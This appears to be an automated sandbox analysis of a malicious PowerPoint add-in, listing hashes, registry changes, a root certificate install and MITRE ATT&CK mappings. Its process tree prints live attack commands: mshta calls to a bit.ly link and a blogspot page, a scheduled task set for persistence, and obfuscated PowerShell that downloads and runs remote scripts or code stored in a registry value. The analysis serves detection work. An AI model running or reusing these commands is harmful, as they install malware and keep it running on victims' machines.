643ce9630631fdc9051b4be5b3bd9d60281885380fb2fa777379711d938c3c91

General

Target

SO-19844 EIDCO.ppam
Size

14KB
MD5

24dd86688a277a16ca013809c71ab8c0
SHA1

d3a1915ced9501a7ce269ee1ace23b4a50c8c5cd
SHA256

643ce9630631fdc9051b4be5b3bd9d60281885380fb2fa777379711d938c3c91
SHA512

89888f15eaacf0404e460830f497b2465bbaf75276e5cf5b0ae7420f50f9c00c4392479bb2cee291acbeefda71e4dd4d603b915244ed932d84608f8fc65b5119

Score

10^/10

Malware Config

Signatures

Process spawned unexpected child process 2 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

mshta.exepowershell.exe

description	pid	pid_target	process	target process
Parent C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE is not expected to spawn this process	268	1696	mshta.exe	POWERPNT.EXE
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	960	688	powershell.exe

Blocklisted process makes network request 19 IoCs

Processes:

mshta.exepowershell.exe

flow	pid	process
6	268	mshta.exe
8	268	mshta.exe
10	268	mshta.exe
12	268	mshta.exe
14	268	mshta.exe
16	268	mshta.exe
18	268	mshta.exe
19	268	mshta.exe
21	268	mshta.exe
23	268	mshta.exe
24	268	mshta.exe
28	268	mshta.exe
29	268	mshta.exe
30	268	mshta.exe
31	268	mshta.exe
33	268	mshta.exe
35	2032	powershell.exe
36	2032	powershell.exe
37	2032	powershell.exe

Drops file in System32 directory 1 IoCs

Processes:

powershell.exe

description	ioc	process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exe

pid process

1928 schtasks.exe

pid	process
1928	schtasks.exe

Modifies Internet Explorer settings 1 TTPs 10 IoCs

adware spyware

Modify Registry

T1112

Processes:

POWERPNT.EXEmshta.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	POWERPNT.EXE
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	POWERPNT.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	POWERPNT.EXE
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt	POWERPNT.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	POWERPNT.EXE
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	POWERPNT.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	POWERPNT.EXE
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Toolbar	POWERPNT.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	POWERPNT.EXE

Modifies registry class 64 IoCs

Processes:

POWERPNT.EXE

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934B9-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934E3-5A91-11CF-8700-00AA0060263B}\TypeLib\Version = "2.a"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A64-F07E-4CA4-AF6F-BEF486AA4E6F}\ProxyStubClsid32	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A71-F07E-4CA4-AF6F-BEF486AA4E6F}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493473-5A91-11CF-8700-00AA0060263B}\TypeLib	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493476-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493487-5A91-11CF-8700-00AA0060263B}\TypeLib\Version = "2.a"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493498-5A91-11CF-8700-00AA0060263B}\TypeLib	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493498-5A91-11CF-8700-00AA0060263B}	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934DE-5A91-11CF-8700-00AA0060263B}\TypeLib\Version = "2.a"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A77-F07E-4CA4-AF6F-BEF486AA4E6F}	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149346A-5A91-11CF-8700-00AA0060263B}	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493475-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934DD-5A91-11CF-8700-00AA0060263B}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A5D-F07E-4CA4-AF6F-BEF486AA4E6F}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A50-F07E-4CA4-AF6F-BEF486AA4E6F}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A5B-F07E-4CA4-AF6F-BEF486AA4E6F}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A66-F07E-4CA4-AF6F-BEF486AA4E6F}\TypeLib\Version = "2.a"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A7B-F07E-4CA4-AF6F-BEF486AA4E6F}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493473-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149347D-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493495-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A5B-F07E-4CA4-AF6F-BEF486AA4E6F}\TypeLib\Version = "2.a"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934C4-5A91-11CF-8700-00AA0060263B}\TypeLib	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934E0-5A91-11CF-8700-00AA0060263B}	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934E0-5A91-11CF-8700-00AA0060263B}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934F5-5A91-11CF-8700-00AA0060263B}	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149345E-5A91-11CF-8700-00AA0060263B}\ = "PrintRanges"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149346A-5A91-11CF-8700-00AA0060263B}\ = "_Slide"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149346C-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493470-5A91-11CF-8700-00AA0060263B}\TypeLib	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A6B-F07E-4CA4-AF6F-BEF486AA4E6F}\TypeLib	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A78-F07E-4CA4-AF6F-BEF486AA4E6F}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A79-F07E-4CA4-AF6F-BEF486AA4E6F}\TypeLib	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{BA72E556-4FF5-48F4-8215-5505F990966F}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934C6-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934F3-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A53-F07E-4CA4-AF6F-BEF486AA4E6F}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A77-F07E-4CA4-AF6F-BEF486AA4E6F}\TypeLib	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149345E-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149346C-5A91-11CF-8700-00AA0060263B}\TypeLib	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A56-F07E-4CA4-AF6F-BEF486AA4E6F}\TypeLib	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A63-F07E-4CA4-AF6F-BEF486AA4E6F}\ProxyStubClsid32	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A65-F07E-4CA4-AF6F-BEF486AA4E6F}\ = "DownBars"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{BA72E555-4FF5-48F4-8215-5505F990966F}\TypeLib\Version = "2.a"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149347B-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493480-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149349C-5A91-11CF-8700-00AA0060263B}\TypeLib	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A5E-F07E-4CA4-AF6F-BEF486AA4E6F}\TypeLib	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A5E-F07E-4CA4-AF6F-BEF486AA4E6F}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493462-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493467-5A91-11CF-8700-00AA0060263B}\TypeLib\Version = "2.a"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493477-5A91-11CF-8700-00AA0060263B}\ = "PlaceholderFormat"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A51-F07E-4CA4-AF6F-BEF486AA4E6F}	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934CD-5A91-11CF-8700-00AA0060263B}\ = "DefaultWebOptions"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A58-F07E-4CA4-AF6F-BEF486AA4E6F}\TypeLib	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A65-F07E-4CA4-AF6F-BEF486AA4E6F}\TypeLib	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493454-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493485-5A91-11CF-8700-00AA0060263B}	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149349A-5A91-11CF-8700-00AA0060263B}\TypeLib	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149349B-5A91-11CF-8700-00AA0060263B}\TypeLib	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934EB-5A91-11CF-8700-00AA0060263B}\TypeLib\Version = "2.a"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A64-F07E-4CA4-AF6F-BEF486AA4E6F}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149346B-5A91-11CF-8700-00AA0060263B}\TypeLib	POWERPNT.EXE

Modifies system certificate store 2 TTPs 4 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

Processes:

mshta.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B1BC968BD4F49D622AA89A81F2150152A41D829C	mshta.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B1BC968BD4F49D622AA89A81F2150152A41D829C\Blob = 0f00000001000000140000005a6d07b6371d966a2fb6ba92828ce5512a49513d090000000100000068000000306606082b0601050507030106082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030806082b06010505070309060a2b0601040182370a030406082b0601050507030606082b0601050507030706082b060105050802025300000001000000230000003021301f06092b06010401a032010130123010060a2b0601040182373c0101030200c00b000000010000001600000047006c006f00620061006c005300690067006e000000140000000100000014000000607b661a450d97ca89502f7d04cd34a8fffcfd4b1d00000001000000100000006ee7f3b060d10e90a31ba3471b999236030000000100000014000000b1bc968bd4f49d622aa89a81f2150152a41d829c200000000100000079030000308203753082025da003020102020b040000000001154b5ac394300d06092a864886f70d01010505003057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f74204341301e170d3938303930313132303030305a170d3238303132383132303030305a3057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100da0ee6998dcea3e34f8a7efbf18b83256bea481ff12ab0b9951104bdf063d1e26766cf1cddcf1b482bee8d898e9aaf298065abe9c72d12cbab1c4c7007a13d0a30cd158d4ff8ddd48c50151cef50eec42ef7fce952f2917de06dd535308e5e4373f241e9d56ae3b2893a5639386f063c88695b2a4dc5a754b86c89cc9bf93ccae5fd89f5123c927896d6dc746e934461d18dc746b2750e86e8198ad56d6cd5781695a2e9c80a38ebf224134f73549313853a1bbc1e34b58b058cb9778bb1db1f2091ab09536e90ce7b3774b97047912251631679aeb1ae412608c8192bd146aa48d6642ad78334ff2c2ac16c19434a0785e7d37cf62168efeaf2529f7f9390cf0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e04160414607b661a450d97ca89502f7d04cd34a8fffcfd4b300d06092a864886f70d01010505000382010100d673e77c4f76d08dbfecbaa2be34c52832b57cfc6c9c2c2bbd099e53bf6b5eaa1148b6e508a3b3ca3d614dd34609b33ec3a0e363551bf2baefad39e143b938a3e62f8a263befa05056f9c60afd38cdc40b705194979804dfc35f94d515c914419cc45d7564150dff5530ec868fff0def2cb96346f6aafcdfbc69fd2e1248649ae095f0a6ef298f01b115b50c1da5fe692c6924781eb3a71c7162eecac897ac175d8ac2f847866e2ac4563195d06789852bf96ca65d469d0caa82e49951dd70b7db563d61e46ae15cd6f6fe3dde41cc07ae6352bf5353f42be9c7fdb6f7825f85d24118db81b3041cc51fa4806f1520c9de0c880a1dd66655e2fc48c9292669e0	mshta.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B1BC968BD4F49D622AA89A81F2150152A41D829C\Blob = 190000000100000010000000a823b4a20180beb460cab955c24d7e21030000000100000014000000b1bc968bd4f49d622aa89a81f2150152a41d829c1d00000001000000100000006ee7f3b060d10e90a31ba3471b999236140000000100000014000000607b661a450d97ca89502f7d04cd34a8fffcfd4b0b000000010000001600000047006c006f00620061006c005300690067006e0000005300000001000000230000003021301f06092b06010401a032010130123010060a2b0601040182373c0101030200c0090000000100000068000000306606082b0601050507030106082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030806082b06010505070309060a2b0601040182370a030406082b0601050507030606082b0601050507030706082b060105050802020f00000001000000140000005a6d07b6371d966a2fb6ba92828ce5512a49513d200000000100000079030000308203753082025da003020102020b040000000001154b5ac394300d06092a864886f70d01010505003057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f74204341301e170d3938303930313132303030305a170d3238303132383132303030305a3057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100da0ee6998dcea3e34f8a7efbf18b83256bea481ff12ab0b9951104bdf063d1e26766cf1cddcf1b482bee8d898e9aaf298065abe9c72d12cbab1c4c7007a13d0a30cd158d4ff8ddd48c50151cef50eec42ef7fce952f2917de06dd535308e5e4373f241e9d56ae3b2893a5639386f063c88695b2a4dc5a754b86c89cc9bf93ccae5fd89f5123c927896d6dc746e934461d18dc746b2750e86e8198ad56d6cd5781695a2e9c80a38ebf224134f73549313853a1bbc1e34b58b058cb9778bb1db1f2091ab09536e90ce7b3774b97047912251631679aeb1ae412608c8192bd146aa48d6642ad78334ff2c2ac16c19434a0785e7d37cf62168efeaf2529f7f9390cf0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e04160414607b661a450d97ca89502f7d04cd34a8fffcfd4b300d06092a864886f70d01010505000382010100d673e77c4f76d08dbfecbaa2be34c52832b57cfc6c9c2c2bbd099e53bf6b5eaa1148b6e508a3b3ca3d614dd34609b33ec3a0e363551bf2baefad39e143b938a3e62f8a263befa05056f9c60afd38cdc40b705194979804dfc35f94d515c914419cc45d7564150dff5530ec868fff0def2cb96346f6aafcdfbc69fd2e1248649ae095f0a6ef298f01b115b50c1da5fe692c6924781eb3a71c7162eecac897ac175d8ac2f847866e2ac4563195d06789852bf96ca65d469d0caa82e49951dd70b7db563d61e46ae15cd6f6fe3dde41cc07ae6352bf5353f42be9c7fdb6f7825f85d24118db81b3041cc51fa4806f1520c9de0c880a1dd66655e2fc48c9292669e0	mshta.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B1BC968BD4F49D622AA89A81F2150152A41D829C\Blob = 0400000001000000100000003e455215095192e1b75d379fb187298a0f00000001000000140000005a6d07b6371d966a2fb6ba92828ce5512a49513d090000000100000068000000306606082b0601050507030106082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030806082b06010505070309060a2b0601040182370a030406082b0601050507030606082b0601050507030706082b060105050802025300000001000000230000003021301f06092b06010401a032010130123010060a2b0601040182373c0101030200c00b000000010000001600000047006c006f00620061006c005300690067006e000000140000000100000014000000607b661a450d97ca89502f7d04cd34a8fffcfd4b1d00000001000000100000006ee7f3b060d10e90a31ba3471b999236030000000100000014000000b1bc968bd4f49d622aa89a81f2150152a41d829c190000000100000010000000a823b4a20180beb460cab955c24d7e21200000000100000079030000308203753082025da003020102020b040000000001154b5ac394300d06092a864886f70d01010505003057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f74204341301e170d3938303930313132303030305a170d3238303132383132303030305a3057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100da0ee6998dcea3e34f8a7efbf18b83256bea481ff12ab0b9951104bdf063d1e26766cf1cddcf1b482bee8d898e9aaf298065abe9c72d12cbab1c4c7007a13d0a30cd158d4ff8ddd48c50151cef50eec42ef7fce952f2917de06dd535308e5e4373f241e9d56ae3b2893a5639386f063c88695b2a4dc5a754b86c89cc9bf93ccae5fd89f5123c927896d6dc746e934461d18dc746b2750e86e8198ad56d6cd5781695a2e9c80a38ebf224134f73549313853a1bbc1e34b58b058cb9778bb1db1f2091ab09536e90ce7b3774b97047912251631679aeb1ae412608c8192bd146aa48d6642ad78334ff2c2ac16c19434a0785e7d37cf62168efeaf2529f7f9390cf0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e04160414607b661a450d97ca89502f7d04cd34a8fffcfd4b300d06092a864886f70d01010505000382010100d673e77c4f76d08dbfecbaa2be34c52832b57cfc6c9c2c2bbd099e53bf6b5eaa1148b6e508a3b3ca3d614dd34609b33ec3a0e363551bf2baefad39e143b938a3e62f8a263befa05056f9c60afd38cdc40b705194979804dfc35f94d515c914419cc45d7564150dff5530ec868fff0def2cb96346f6aafcdfbc69fd2e1248649ae095f0a6ef298f01b115b50c1da5fe692c6924781eb3a71c7162eecac897ac175d8ac2f847866e2ac4563195d06789852bf96ca65d469d0caa82e49951dd70b7db563d61e46ae15cd6f6fe3dde41cc07ae6352bf5353f42be9c7fdb6f7825f85d24118db81b3041cc51fa4806f1520c9de0c880a1dd66655e2fc48c9292669e0	mshta.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

POWERPNT.EXE

pid process

1696 POWERPNT.EXE
Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

powershell.exepowershell.exe

pid process

960 powershell.exe
960 powershell.exe
2032 powershell.exe
2032 powershell.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 960 powershell.exe
Token: SeDebugPrivilege 2032 powershell.exe
Suspicious use of FindShellTrayWindow 1 IoCs

Processes:

POWERPNT.EXE

pid process

1696 POWERPNT.EXE

pid	process
1696	POWERPNT.EXE

pid	process
960	powershell.exe
960	powershell.exe
2032	powershell.exe
2032	powershell.exe

description	pid	process
Token: SeDebugPrivilege	960	powershell.exe
Token: SeDebugPrivilege	2032	powershell.exe

pid	process
1696	POWERPNT.EXE

Suspicious use of WriteProcessMemory 16 IoCs

Processes:

POWERPNT.EXEmshta.exe

description	pid	process	target process
PID 1696 wrote to memory of 1656	1696	POWERPNT.EXE	splwow64.exe
PID 1696 wrote to memory of 1656	1696	POWERPNT.EXE	splwow64.exe
PID 1696 wrote to memory of 1656	1696	POWERPNT.EXE	splwow64.exe
PID 1696 wrote to memory of 1656	1696	POWERPNT.EXE	splwow64.exe
PID 1696 wrote to memory of 268	1696	POWERPNT.EXE	mshta.exe
PID 1696 wrote to memory of 268	1696	POWERPNT.EXE	mshta.exe
PID 1696 wrote to memory of 268	1696	POWERPNT.EXE	mshta.exe
PID 1696 wrote to memory of 268	1696	POWERPNT.EXE	mshta.exe
PID 268 wrote to memory of 1928	268	mshta.exe	schtasks.exe
PID 268 wrote to memory of 1928	268	mshta.exe	schtasks.exe
PID 268 wrote to memory of 1928	268	mshta.exe	schtasks.exe
PID 268 wrote to memory of 1928	268	mshta.exe	schtasks.exe
PID 268 wrote to memory of 2032	268	mshta.exe	powershell.exe
PID 268 wrote to memory of 2032	268	mshta.exe	powershell.exe
PID 268 wrote to memory of 2032	268	mshta.exe	powershell.exe
PID 268 wrote to memory of 2032	268	mshta.exe	powershell.exe

C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE" "C:\Users\Admin\AppData\Local\Temp\SO-19844 EIDCO.ppam"
1⤵
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:1696

C:\Windows\splwow64.exe
C:\Windows\splwow64.exe 12288
2⤵
PID:1656

C:\Windows\SysWOW64\mshta.exe
mshta http://www.bitly.com/ashjdkqodasdasdasdwdhqowdh
2⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Modifies Internet Explorer settings
- Modifies system certificate store
- Suspicious use of WriteProcessMemory
PID:268

C:\Windows\SysWOW64\schtasks.exe
"C:\Windows\System32\schtasks.exe" /create /sc MINUTE /mo 80 /tn ""BlueStacks"" /F /tr ""\""MsHtA""\""http://1230948%1230948@0v2x.blogspot.com/p/34.html\""
3⤵
- Creates scheduled task(s)
PID:1928

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w h I`E`X([System.IO.StreamReader]::new( [System.Net.WebRequest]::Create('https://ia601408.us.archive.org/12/items/psteric/psteric.txt').GetResponse().GetResponseStream()).ReadToend());I`E`X([System.IO.StreamReader]::new( [System.Net.WebRequest]::Create('https://ia601408.us.archive.org/12/items/psteric/1.txt').GetResponse().GetResponseStream()).ReadToend());
3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2032

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe ((gp HKCU:\Software).cookerr)|IEX
1⤵
- Process spawned unexpected child process
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:960

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

1

T1053

Persistence

Scheduled Task

1

T1053

Privilege Escalation

Scheduled Task

1

T1053

Defense Evasion

Modify Registry

2

T1112

Install Root Certificate

1

T1130

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015
MD5
2902de11e30dcc620b184e3bb0f0c1cb

SHA1
5d11d14a2558801a2688dc2d6dfad39ac294f222

SHA256
e6a7f1f8810e46a736e80ee5ac6187690f28f4d5d35d130d410e20084b2c1544

SHA512
efd415cde25b827ac2a7ca4d6486ce3a43cdcc1c31d3a94fd7944681aa3e83a4966625bf2e6770581c4b59d05e35ff9318d9adaddade9070f131076892af2fa0

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
MD5
dd6f71ec23ec79fa6fa2d2a207bffdfa

